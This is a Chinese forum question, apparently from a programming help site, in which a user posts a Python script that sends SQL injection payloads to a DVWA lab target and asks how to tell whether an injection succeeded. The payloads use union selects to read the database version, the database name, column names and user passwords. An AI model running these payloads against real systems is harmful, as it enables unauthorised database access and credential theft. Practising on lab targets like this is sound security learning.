问题遇到的现象和发生背景
遇到的现象和发生背景,请写出第一个错误信息
用代码块功能插入代码,请勿粘贴截图。 不用代码块回答率下降 50%
运行结果及详细报错内容
我的解答思路和尝试过的方法,不写自己思路的,回答率下降 60%
我想要达到的结果,如果你需要快速回答,请尝试 “付费悬赏”
python脚本测试dvwa靶机
下面是代码
需要判断注入成功与否的代码、求帮助。
#-*- coding:utf-8 -*-
import requests
def post_http(sqlstr):
url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
req = requests.get(url,headers=headers)
return(url,req.status_code,req.text)
list=["1' union select 1,version() -- ",
"1' or 1=1 order by 1 – ",
"union select 1,database()#",
" 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
"1' union select user,password from users # "]
for sqlstr in list:
headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}
print('++++++++SQL注入++++++++')
url, status_code, result = post_http(sqlstr)
print(url + '|' + str(status_code))
print(result)